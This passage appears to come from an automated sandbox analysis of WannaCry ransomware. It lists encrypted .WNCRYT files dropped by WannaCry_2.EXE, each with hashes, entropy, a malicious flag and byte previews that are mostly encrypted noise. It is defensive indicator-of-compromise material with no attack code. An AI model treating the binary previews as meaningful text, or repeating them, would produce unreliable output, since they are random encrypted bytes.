                                                                                                      Preview:WANACRY!......6..6"H. .4..2+p...c.b.Jh.c.....e....1.-.k...m...<..i..`A.~>....%.s..!...2......X.u.h.h..hG.!\.....4*q.p?.$BF.xE...E*..\R..1.........N..Ej...^C.o.e.q..bh"../B..p.tq2......../q...........K1.....z...N...vX.|.....le..:K.8E..p..e@..J.*?.OVs...G..............a..A.#[....Un....:8j.t...p_.t.........u_.R.\.qb...D.(e...s.z.{`.x..~..=.e...0..)..^:b5I.?..9..g.....Rqgsj(.%{..h|.+.Ag.........j.:..4.....".N..N...r:..V.../4.k...S!..;.,...~tB.u...A...:1..e0.......*E..0.EZ..M...}.:...B....}~.D.^'6.,.T....n...-......(H'72e?.......9.~.j.00....~..'2.....^xX.j.....n./...'.1).....S9.4..A..0.hJ...........Lu:.....:..F.9f.(....;.Z4.....2sM3S...Q..r1T|.xUE.#..~.awe.%H.......4"2..S.+.....!....!...\.|.-..O.%ku.CQ>V.....u..^LO.2....rI..{.v.N....H.q...:......5...^;r3S..KtO.2.F.......>.I#.Wn.:3...G*_....S.?.}.B~.....`t;.:....2t`......'R7.T..).y..g.i...=..ce8Q.....f0....j9qn.@o)...~.J.[....n.eO.t/..b.R....G9.A..=........Q.7.....P.xwA..0..~.....c.<.).V0....V"gE..Ukm.IE.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670572901062730.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):114280
                                                                                                      Entropy (8bit):7.998359795294501
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:7RpoyDKwdaVmNKgFoQ7Vz3R47TFcmAO/bDsN37Uw:7RpnulxgCaVrO7otNh
                                                                                                      MD5:E309617F7DDA48C9B96DDD1FC3856739
                                                                                                      SHA1:8841848D57E4EF3BAA45AECE6BF44C58F8813389
                                                                                                      SHA-256:A48229C8D0CABE10A2DCA5C62C92880F549EFCB832BE4BB14E1C81856714AF97
                                                                                                      SHA-512:DDF0A770F216FA362E416370645CF1DE7B719FCA9481B12CD7BC3DCB30598E77E234DD2B3499FE2D2223F537BC08988981F7FF753DBFB9C3D53D87076184840A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........ag/...Q1.m.43...R..I/..F).v.{ ....u..}.-.N............=.A.P...{9..|..,..B..1WhIg.L...B.=1.{.J...xC:E6B......@..[.V..CH<m.'.V...z.}..p.i/....E..RD6<!.}N...5.D..q@]....{...=`..a...........B..H.$..A.d.Z...~.s..J%.j...O..WD.....[.#CG.....J...[f@./....E............;...........8g..a...`.]c..N.D.5AP..dvhC.....4lv.9....$.%a:....#p...Eav.....EZI.o..w.b="g._.T.........<.=..h...'i...../..8qQ#O...-.-#.X......7..V.q<......u.F...q.|.u.Oy...6.[Zg n!.},........7.[...l.\.rTZty...1.Z:.<..1......o......U...UL5.W......r,.{....d._... ..........%.5%.e..f.0...j..N.bN{..j\,..Z0##...xu..1U....ziR,E..@Iy...Q.X..J..UV..+....|.Q.......+.em..M.v..+..c..2P>?.....(.....`......{Pc..I{....X?~./1.5FZ..$...)fu.........*......z..P.?...6.C.......4s.. I..txp._..{`x.*CJ....qH.../.R.{g...$..e.DzB...J3..$..R,.8.J.Xs.G.-f8....'sR(.vT.g-R...r5:........x...E.8M...R.t..........o.........J,..k....l..3...S........Z...&.b..%$o..DY9V=........I.j...GZ...s.....k....?.'=.[....

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573200963839.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998344865587311
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:Kyh7LrJKCnwp9L8PLZfdGb0C/cPOCM8Jg:b7LE+C9L8VF4dcPvJg
                                                                                                      MD5:727502ED7BDE8276777DA7E09A9EADF1
                                                                                                      SHA1:62E412D517C2D3B4575F5D925ED6649A2698B9C2
                                                                                                      SHA-256:8F8DC04A6B6F8C990C884FC21D85558362ABF953BE27AF411DD0CD67DA9C187F
                                                                                                      SHA-512:99282266CDEE150402DD1FDC03138B36ED208B1FB9C2DC9CAA692C48D1A42F33B9D6664048BC568C303382C3863BFD995AE084EB2839CF1587158CD94B08D16D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......T<.G..p....y......GV.B...=.."5xY3.A.'.....4.....=...y..t$J<M.~._=.$..Z.<.P.@..q...m..&t...Kt.....vA...H.E.[.?f..<)...qJf..E..8.....xKt..v....}Ij.....i..........+..^.;,.C....a...B.....N.X..5....2.. ..v.da.).e5,0..]..H...j.9..ca7..or..k..r.&.9.....a...........*.efI...u'.zt.(U....W..E.'h.R.R...~.##`..a..C.Y..Ytf_H.h.}..H..U.?.gi.Xo...\a[s..I0L..`.....2...%.B.s.e...J.......W..F.J.`w.@.L..T.AVOae...oJ<..H..M..(l.5..Q.h......./.s^.z..h....H.#Z...J...&W.H.k.<.G.f.........l...+.z{Q....I..7QZkn.M.58.B?A.J&..01FTj.1...6....|.q.e..Fh{.W...dl.......U.n.&4...F......|\oa...T.l.l..#j.Q(~.2....m..~.M.q...q.d2.............`...h.cF.2}}.h....g...a.....^...\C...O=../wL#..v....UKo......P..y.1jR~......K.`ppU..}f.ME...........@j.O.....Q...../.I.... ........ E.(........~..7x#*..d?Y^.|^.$&4....|\....h....5h>....6.n..L..]..5....4U.f..lX..a.r.;.@..WP@T.::;...a[..d.6.NI..8...\.W...r...{.!.......o+.fx..7..(......n...*#..?q..!.Sr#....1. `G.S..~.,..s....*.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573500972363.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998246580140285
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:iCWF9AAz2P7fBKYVHqclP/zogDfrrib4Yl4:iC09AFDZvHhP0mfrrVb
                                                                                                      MD5:5F33149C0466FA32F683055DA3DD2BF8
                                                                                                      SHA1:C9F9788967C0CA4CC6E49988282B1D7A69413586
                                                                                                      SHA-256:DFBE0FD342257D929F2303E55632BDBBE951979A8A5A8EB36D6C66675A2D8A11
                                                                                                      SHA-512:C5CFD6FB84C38ED85221337D373D9E443043CB2D31114AA0ADF012ED833CA76A4F75B50B4F3FFD82295DD152ECD0E01C6D5B1E2CFF53FFA076C49BF033AEF30D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a....P.V].6.Z..".!.N@...Q..t..&...9."^....lvK....7.....9..XS.gg...l......... ?.....".).a.o....#....h.8...B...%y..??,..B...r...Zi..i.....N.~.....0.c......n.~'.Uhx..#..%.H......1lw-0.96.0.!..\..:..q.....M<.....f.}Cs.:....&..8..b..L............a.........X..;v.H`.f.!.8T.e...%.0D.....afX...;h........j........y......y.!..X...?s...E.......u51..o..-Z..P.p.....S...:w...b.%Q...1..O.8...Z..E..|$V........v....h:d.'......r!.3.G.I....$....mQI.(kX...|...[_..I^...\.....Gt...._..oy...+..4iSK.....r....p[..W..k.&.......:Sux~T.....rE.2;GE.)*. .iZ..j....`.YC..Q..SN....pQX..BFl..*...>b.+....Z....t[...X.].c_..dj....5.....Z...qa`u|L..0......i.>..T..8b.i./W..w(....n......g..*m.e.w.#..L4.....nL...u.<:....H..P.l.mI..L...[.`.k.UbI-..>....g.j_...Lt.b...Y.}.*..0......[B.|[..6...h(9Z.|].z...{+w..\..].........V....<...oc..XJ....HD..-<.......c.l#..Xb.{^LX-c1L...F..M.....uy.......I.2....kP..8.Y.p@....H|.....*6..Cq..3<.7.Q..f.,.].-T0tu....;Hn.'?

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573801262804.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998577178132219
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:fmNGS8wOtywn9UEHUdIjvIlD+Ph47gafaXqrnQD84Fj8fsm:SGX19BHU5KPnayXsQdFjrm
                                                                                                      MD5:EB44E03ADBC9E8E0B176CF8F0232F90B
                                                                                                      SHA1:F25663629A20128CF1C1B25F72415039603018CF
                                                                                                      SHA-256:264B6C38896D3F50FAFC09C46CFF3DF35BA0B55E0F49B6A0F1704C41475CC2AD
                                                                                                      SHA-512:DE8522C6E4A000BBC466C1B5D7A449F7FCABB94C3F67B8561C9E483EC9C052616AE8774CF27254D8D83CDB982D0A7977A6CCBCA8C1D0C89255096EB08CA240F6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....x....<..]...Y.r....TGU.......^A......\.E.fxV.....~.......T......[.7.<m.}.5aDq..s....w.S."-=4....t.q......$d.:...~?l.2.?.<.)..:.H...A.AV.m:.....Z...L.>.9#...4bD......./...OB..i\.......x........3.........}.T..E....-..=....S...Hxt..ggVS.....n.Z..,....a......../9.5J..1........TX.%.W..u..... .L.C..:M.c.n.U........Qh.R..9.g.*.....sc.hR!.F2.v....-"..D....L...xW.a:..1.Sf.Q.."&...d...O...G....]....t.w.1|....%R@....<.".....b.U.03h..X...Y,.....}.....}.]..r.'t%.\`....@..9....FOu.........dK.r.hu....N..B.........J.).KNm.../..b.t'..[..t.."5R.....v..i..R`.............J....~...(D..H~.V.heY.m.0w.....r3^..%......6o...)....n.}..LP[..u.7w.\.$. ..!9.>9...z5.CNEF..1..=..(...T....v.$+..vxpm~..1&E...9a..8...S.6ne....y.XT{...6.H.NL.....]..Bq....n...:|I....?.|rm.;{E.>|iY.=./.H.U.n@..Q..K`Q......~..n./.....67^$&]..f....h0...wq.....^cY...f.u%:..V.U6.yF..i.]=Y.^..!.k%H..x.....d5..\{...P...T..'Z..}yv.I..{r8.."s...t'.P&.R.u..5.V..B(...;!.....3.$S_....~}B?

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):696888
                                                                                                      Entropy (8bit):7.9997328205075915
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:4izSJREWEtDK9oJvgfYIkRTp4OW9TgUv2QSUE1tN+uf0vMkbdIp60IHLhZpk90AZ:40SJiDyUvVjQ+U+PUEfwLVaXaFZpk9/
                                                                                                      MD5:4786FFF2E262B58A6FF42E7CE6595F37
                                                                                                      SHA1:8937297D5E2D162772CD1B83397D722D97B30F41
                                                                                                      SHA-256:76BD64D192368E6A56DA9AB26C198ECC7651114A536D1839ACA5FB816BDD3ED1
                                                                                                      SHA-512:26674A0409209244F22B7590D0C10C77ECDEBFED7618A863A6A61E98195814B6E5C23B7EBBA596DD9AE3455E2E571087EEC39CB147BB0507EF0A91FD20EF8993
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Ch..8.a3.O^F../K.<..U=J..{..|/...4R0......f..\......" .+.s..p.g...=$.C.&..3...LS9...ul).......=..........C.+.... .i......w..p.H*...[f.....x..:G.........@..7s..*s...5......^..I.}...8D..xz..F.>....b...d.P.....#m...Br...,..H.kT...%.n.ec..jP.................Y..rp.}.m..+G..E.z..%...J..>.....;...G.%.(.)l..m...a.4..$3..]..<.o......M.R.:;-..u....I .?.%T...g.r_.C..L.wc.A.8...X.I...ef8b. .XR.@^..Xe.#f.[.&.@.,...MA..z.-!.p.z....J.1.KZT..gvF.;j.KSU.....o...m.>.Y'.......n.T....v.}."..h.5...T..I.]..6.b..P.....jm........})|....4G_..d....M.&..OY.d...r.....Y.z..g..h9.....2~.#ol..QW7|..9.U......[.z.t.=...~.\Q..]..v..-.U.b..D.N...!.)(......I]...2.*.....L9..zhR_3V....a.......!..U;VU.k.F..KcM-'..~..y.k.2..0L.T.vs.D....'..e..?.t.^s90..Wr..6. ....z?K..Vi>.....` ....&..[....t..|......@bZ.... E"..3..3.ye..c........5wb.=.KR...$z..3.C...:q.\..8.(.\2.g....J..p......Rt...c]fbN.o...k.d.kY!...~..\.....T.bX.]Y.g.m...p.w.n.........4=.8.d.....Q}'.jm.f...7/..Vi.c..

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):103448
                                                                                                      Entropy (8bit):7.998354268835454
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:CKUQzucAAyUp3zRHVdZO3wD1puGqbkCZcSe6:dUQfgg9kwjuG2re6
                                                                                                      MD5:A443CFFD09E1EB3F6FF33B8A09F09CD6
                                                                                                      SHA1:695D2B980420B04972321CCF943BED22AC016E75
                                                                                                      SHA-256:5FD100F6A047873732253FD683DEB51635EE75653B767F3AFF4F0854DDD77E1E
                                                                                                      SHA-512:08DF4EA4DF5CED5CEB726565DACE5160197D19C6EAC850544AB6C8F7F267574AA766634AC72FE11EC47904282A9911CB56A838BC72B47B66B4A32076D55684DD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....WA..\%..O.G.....!,...4.B.@uM..T...x..z..Q..I2+,...9[...+.....o.WGo.N%6.l....Y.V!DdY.N...t.6...^J.'......D6*..]A...g...g..".^G;....4........._../JLr..z.(...C..f.jx..........Lc!p6...{...@...dT.j.H.s&......s...^/......j..3p.!..].:$o.<:..6.....q................rG....R=.vh-.9. .Y.`R..I...)um@lAD.?..{.P.D.../.......@.+.4_.t~]}%.$U.i`.....L.xaA`.@&...<.t8Ap...T/...$.x.&...8....^.....u..T>.Y...E\....@0...K.n7^..f..t>.C..R.,^...s'........<.......8....J.(6v5l..JA..@..mH..e.xjI.0.oZ..Oc.Q..._~.E.tBp..]......W...SeV$.'.9.*.w.......z.....Y..a..g#.0...B...##@U5.......0.nA..T]..-......,...R.v..u.....;..M..L9...?9...'Ofi.x.B....s..{.2c#.{.*S)i".....[.S.?....H>.s%....Sk.@|.f.Y.[.......8$J.N..Pr[.......k...s.zt.(Z.w.6g...<.>B7.i... ..X...s..n.?.....9......+.3..QH...cB.....!.c.<r..t..6..A.b..#..W$.z...r~B..Z..6,..../Hm.UD9).f.lX.z...FA1.K.r.Q.}Z.....L."..!3....XO?Vh.'2~.cT.C.s....q}......N,b..6.. ..a9m....c6.C?V.|...3W..?.8.j...-^%.}*UQ=+..-....E..6%..

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):112328
                                                                                                      Entropy (8bit):7.998512633980931
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:B2TAJInzaXOTBGigdUh1/WmYgm2Kw1HICzNnRHgS/UPM9XaboJ:B2kJczMmvWmYpCBIiPA6UPM9qbA
                                                                                                      MD5:674B5FA9128BE2E9C484FF306B20583C
                                                                                                      SHA1:DE72455537F2A174F99D634823F5111DEC8EB391
                                                                                                      SHA-256:0460D1D03FD7158432191E55D3157FC286128170B49D3D56423F2B471340B2E8
                                                                                                      SHA-512:7B02F03579C9248B57FDD6D6E4013723D6530969A00D156B3D3E203CC15A38D5B53527FE1FAD7CC9345C44769AB7D1E0B8E96AF1D628CB8E58246C0107DE1D8D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....7..|.\j.Fg...jy........+...S@.g..#..%.....+.+.....c..W1.p..........Z...U..@..4....bc...!....o...O...?b..P....SW...+.F...z@LJ.v..X%..P0..`....6.V. .....&G..u.......W!....z.i..1.ygS..Ed\....i.q....n.uG........I.LA.-.OV[.x.6?.'..2P....@.^t.............\.!..K..~6...2..e..Fg..<T..34!.NT.E.w.fn...?Q...eE.N:.`..].;.?!.J.&Td<<_....k....p.*...{`.K2...3.a...kkJ..X..q.[~y4G...K.j...~k..?..:...."+..l......k..^..7{..J..<w.}Ls.6.vg.-......fU..T..F$....C....<....~.3.../...b....^.......5.d&.t......DB;..ht.E....UxVU*FoQh.....z.2....ZjN.d..}.0.7-.....Qm.b..!iX........J ...6W..,2..g=.....zN._..C..Z......... ]e.b..&h...L.b.&.I.J&mq.*."N(..H.....o.......I.'.d.3.t......`.2....8+.?...Aq.!3.F".....1i..=6..j..|V`=..%..Hsy?..*.....UcUy.3O^<.q';n......,....@....dwE^B;.q...c.\|Dh.....Zv.a.@u.).CpC......f..6..}..,"7..6.$..z@.P....'.R..1z" ..XJ.t6..V..h.B..6..%..G.....yc...Q.....S..........l.w|7..uj....fN........o.*.t.yuEN6......DR......=..N.y...

                                                                                                      C:\Users\user\AppData\Local\Temp\0.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Public Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.792984425042247
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:khbTAL0bC0PdVF/yiT5aR2bCaQB4o/EzOYYL6s3zrWVBlMPcPdy:MAkC0PdvvToR2bCKuEdYp3vW20o
                                                                                                      MD5:1C4D377F82EB6D7802E14D3397BDB64A
                                                                                                      SHA1:3EC82B63209227FC56687D0609690DA38EB41C55
                                                                                                      SHA-256:2823F735492495F414C968A1DB6AF36D7879397735E3C5A3DB518B0DC0176835
                                                                                                      SHA-512:5C6FBE8DCF9A217061FA81E997DCAD3E28F0000130776006391499EB0A3072F6F533865D8340B659AC7BDAA0C2EA62BD52387C07FE454D4014D73879489677B4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..SM~x..,2+.A.<;%i..".a..`P...2k...k..9..p\.[..:iO..e...<.n.B...{.EB(.@..K.N.....$.h.P.n....a..g.;.j.... .2..Z.../.:.C..kFw...j.s...1.n......?0`.&.kq."..Dz.o@.3?Rn..|..%....k......@.}.....h....}./KJ...c..}....zH0Z...........p.;...}......3..G........TMw..=$.&X`...@E..,g..lg..t..h........AY4.k......%...^x+...........a...p\...p....M]..e.(_.:..Hm..n...%?W..'.........x-.....~]K].G.G.oP......B"..S.!.7..?\..q....:b+l..l.\.A...h.a._..h...C[ (.h..(......Z..wA.A.e.J..k..6.-.....*u.!....s2@1....;.9y.@G%....v..$dT?.].?.8.22.5.%..{5.PO...l.+.&.|.!..9...j.r...h....5.....x.......?...!U...%c...;.*...Tn...n.++\....iI....C....w.[..{..p..*.w....D\....2I.P...0......7..'..nZr/.0Hn......JY5$....y.-.....%..1...L...h5...N...9w.2.o`%.#.p......\$]X2..K...S.~;...f..G..w....=....`..n...Gx..T..^X........p.5Lj..-u.X/].kS....b.=..P.Z.Gs..$fE..T.jb.Y.bm.*....'.~.^.ZV..(3..X.......~......^m....55.+...'>.._...Q..O.o...e...X.v.@.Q.HU..$0..=F..b.......6c..6=...py....

                                                                                                      C:\Users\user\AppData\Local\Temp\1.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79256749930897
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:nu8NmzAU81KMG7tkzVQ0HadOxQxh5vKDw7Fn8L5FWzS2oXmrUUVn:u8NmzArgn50qh5vB718IS2ocUUVn
                                                                                                      MD5:EB80DBE9C6214E54DB139E067A809454
                                                                                                      SHA1:63606B9157F3BB40A7BECAA20AEE250597B06272
                                                                                                      SHA-256:F91A3AF11D10DB24D084F3139A6FEDBB534AF1BA605B2907AAA41AB539E86B1A
                                                                                                      SHA-512:B7B3727629D232ED1DDB4B5F71EF8DF9DCA1DED9718C6328A7EFC079FAA29EC7664D622E8DF8FE8E2ECB3F25AEFDEFD486E83DF5AC003930A909D4E13F94AC4C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....D....a..!..S...8.H.L(.)hn...<1.Pg.4.b..H...].L....D..H.x8~.1nY_T...Kw....C........F/_.D.......k.n...AB....;i......y.k.T.....w....Y.~NC(1hg_....${.,:.E...2....Q:.w..!....9.F...Q....s\y....34..h.....8.8...u.`..X....B@q..v..U..K2r.M...Zt.u..G........28...........O.^8.YW.-E.....6.0.n.oxR..q.8dN.....w....zg..Gpx*2k^... ..&..O...D-2Y.q.+Xp..D^.H..."g...!.V...c#..w...*..>.y..h.yI..u..*f.b.s..&PuR-..|5...G.Y./..:......H*.../X\V*q.......D..!.F..5....\]......%..*.@..(:x.H..p.et...039..w{.f5.......aq.GgL..y....w.|J.2.Q.@~...j.Q..k.A..%A..R..o..j..+...G.gb; .......M.. ...0T.@}.c.x9.2.K8...8I..N.}..QXF(...t...D.2..t..je.h..Y.b.k...v..d.l.8Ir..L.........-o....6..PZ.....%............/.v=...\r.pE^{...#....~T..=..Y.d.....P.z.-...-N`.....zz...j.\z%}..U..zW.&.2~..h....}........x.>q..L.P.T.p....u.....uJZmd.k..>P..a.g2,..#...J.....9.8..m@.{..0T.......6..@..*...` ...]...^....{ .......O\.o!..E..w..4.-..f..D..^......0...D.D.Y.....v.*...w.Ne.<......W..v..

                                                                                                      C:\Users\user\AppData\Local\Temp\10.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.777738221644386
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:OhFZwmFca1+C8/k9PHb8ziCaUuJ1Y7BKv:oca0ePHb8zrU1Y7BKv
                                                                                                      MD5:276DBE37953EA0DB63D43FDE3D9155C4
                                                                                                      SHA1:3C444C59AFBCB2C1C14CEDE05C33A095D4D53840
                                                                                                      SHA-256:FBE9E0D32D3035CB71862791D64F298D3938DF8520E13F46659BD386AA5BC968
                                                                                                      SHA-512:F51259919AE9E849888797295CDD7419F5FD818DB97EBB1161E309F79F90B14E9B036983CEFABF8A56C763BF393C7CA9DA32A70F96BC717F573FE821C5FA5ECD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.........O.I...P........q....F...MR.3T/..).4..8c.Rp.VS..7..O..d.D..J...#..F.....X7........P...^...6.3,.0.%q.&y..E.m'...?....[...^s..'..7"..g....|,.i..U..l..w..E!#.*..z..g.*m....Z....6.J.\.._.J..1.U.J.:......X.]*.5.~4=..16.{~....rb.+...|p..c...a...-y)...O.hd-VG.-Y- %..1..%.1?....Z.pk._... .v...I"......m%.,6....7q.n../........r=.. .......$...g.k(.......ZU..Z..C C.<=...Lu...4f...1..bv;....< ..`.....$#.L..k..,..W..)......9L?..~y...n..G}.cZL.9..+ ..J.>X.....W...a...~....ty......9...2.".C|....... ..{...}..J<.B..r(..OBc.*j....m.V...E_,.j..-.#.H.9..A[|..FM..g=N.T...-'..P..:'x.{..<%...7.....'...k..6..fE.vL.o.}{.3|...wF,......X.C..|m?...?.M..\....w.$\...$..=~..w..\.).U.Uf...i..$.U.4.W".."..l......x.Lo.C.......-..UJQ...E...t.X.$d....&..W..y}.`....m....,.D8ua.<.%...ln.9..fG[...x.h h....I..........z..'.).Bl?...f!.<..Os. :..>.1.-.@ ... ..1.........[},..&..1.~LJ...J...,..s..6.....<X..`.&+I...[*...-...it..L.[...1.4..f.y.V...8.@./.l.`.Q....

                                                                                                      C:\Users\user\AppData\Local\Temp\11.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.814930770730222
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:jEA8SaXuUJDojhTL5D3TK7z/0qjMdpzgrxs0s:X8Saf0FTL988jgr60s
                                                                                                      MD5:D63A372498B379E9822FE2F182C401F4
                                                                                                      SHA1:B583F61F681E62DBF62A4C370AE0244840348924
                                                                                                      SHA-256:B60DB6D28CC6C33784BB1999319EB7D95E8E8A4F303ED4F72FC179D6365C960B
                                                                                                      SHA-512:8186FDB20B89F0EBEF8C3E42E108B383D3F9ABF890D076B8EBC41FCEA3CD626209C5A186C9BDBD43D767312164EB614CF8313CE29E5F4098F0BF971394E9677A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..J.@t..F.$.H9f;...h...Q.37Y.<t.~%....W. ,f.P.|.9GU.v.!..z.;bD...x...L..!>.r.P....j.[.}..A.A....b....g.....f..D....R.I).......].{.>....k...D...jeM......5.=..3[..|.Rt.1..>...&.#nKnV.4az.....r..@.`.uk..5o..J...C....../&.y..o&....)@...p...^ ...C.o.....UN.c.][Tt....|Nz....E.....e<..".o.P.3ICl.%.W6.#5_FFg."...Y.........9..a..pw....$|...K.8.8.q.0...t.c..hW.9.5.|.5}B..{.5~.....j[Q....Ug..o9#J._$cz....}.Y._.s..R.Z..........]k.....uMco/N...j;e~.mO.]{G..>.:*~....UFI..k....x...6.V5.=2.Ok{.e....../.^.+B.1.)0..rAU..J.CS.t=....qyW......}$.(.]n.g0....n....P}....8+;..y.A...Xe.~../..'..i..ox..~z.eq.b...XwX..7.'..f.6....<c...&RU....._$.C..A.G1..-..m....%.rFE.O...1....mn...E.......I.k..........:e..S.z..L`...../..a~(...Q!..#l...waS>}.....X......\.P<.2..!#..p.....L.0'..;N0.[k\_.....q...]......%..T..:a.].8.^.k.v.....d..........4..;..Io.Wm.K.z;.h.....u.D.`..a..g.....H(..f.S.........sddHZ..`_..`|Z.$c...SNL..=|.:../...4.p...8.G......4..."...CO.....d...^h;...O..{..

                                                                                                      C:\Users\user\AppData\Local\Temp\12.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816190384016078
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:b3dofn2DJov/rKHO+bPVX6wNc31B2KvJ/pyppoXEjh:bFFov/rfe5Wly8XEjh
                                                                                                      MD5:45054A64E441D0CE1D83A9B7467C6675
                                                                                                      SHA1:68DCB3E982567CD1DFF3CD9A7D7D0257AC51F881
                                                                                                      SHA-256:5F1356A8515DCFBEAF534A17A418A0E8A22C8BFA9DE3261531102417370CABB9
                                                                                                      SHA-512:A86D9B27FEE59FDEC8AAB52810A73B5D6D6A60C284F511D3388C431A4D2B8ED1811E3FE4D3EC66D310C3DAC115118E6A07E02F5F5D0B18D689190F2647690296
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:p.O&..F..vt....2R.C.ZI.$..^.....:......'.l......=u).[..{M_.?...Rwm....7e!.(-4....s...S.....Wb.G=..=B...ri....DH..!].'S..=f.G*.'.C_.....?..Z^.....5o.`P........;...<G|s...k.W..}.x...E_CNBH.....p.k...a..jb...1....q[.............i..k.......Qgu...P._..8.l..g;..._,Cf.......d.05....;g......s/....\..NG........Yh..!.@......H.dZ...h.y @2H.TK.. oW.gb.h.z..I.8.3.o(.p...{v}.`m.@te..Zar.l..a.......?.....TGc..;z..~..%y*......Q.5...3.....\.^.&.G.Y.... .lf6...X-.......C...9....5.pN1.9....C...f.2..s~..:....N.Q....\|.;._Y......<...\.Y........v.c.F.p.%._...r..Ab...|z........$%....S..CR.....SV...X..w{m....B..+j........3\..mS.LT...J...<M^. .7e.[........)6...M...X.g=v.'\k.pM[Y.'....K.^..lm.uB.. _.H...E!......k.....9..v.`...![.}.wpn......i.....\..T@P;1`...p. ...,]......&8.f.Xs...?.!##3/...U7|.uZS,D.......Ly0F.q...)....$...<.j..y..\O.._...<hj..K.p..R..e.!..jV.H.s".3!{&.&.$.XF.....]....v..hF......o.0.4..Y.]#.S.......9F.......#..V..LU....Wf|...t.....F.

                                                                                                      C:\Users\user\AppData\Local\Temp\13.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.822391707880143
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:9pCQ6tulKP0QkMUIG15003Dmj6XmvM2cQG4Xlml/YC:vNeulKvmIGr13Dm46cQG41KAC
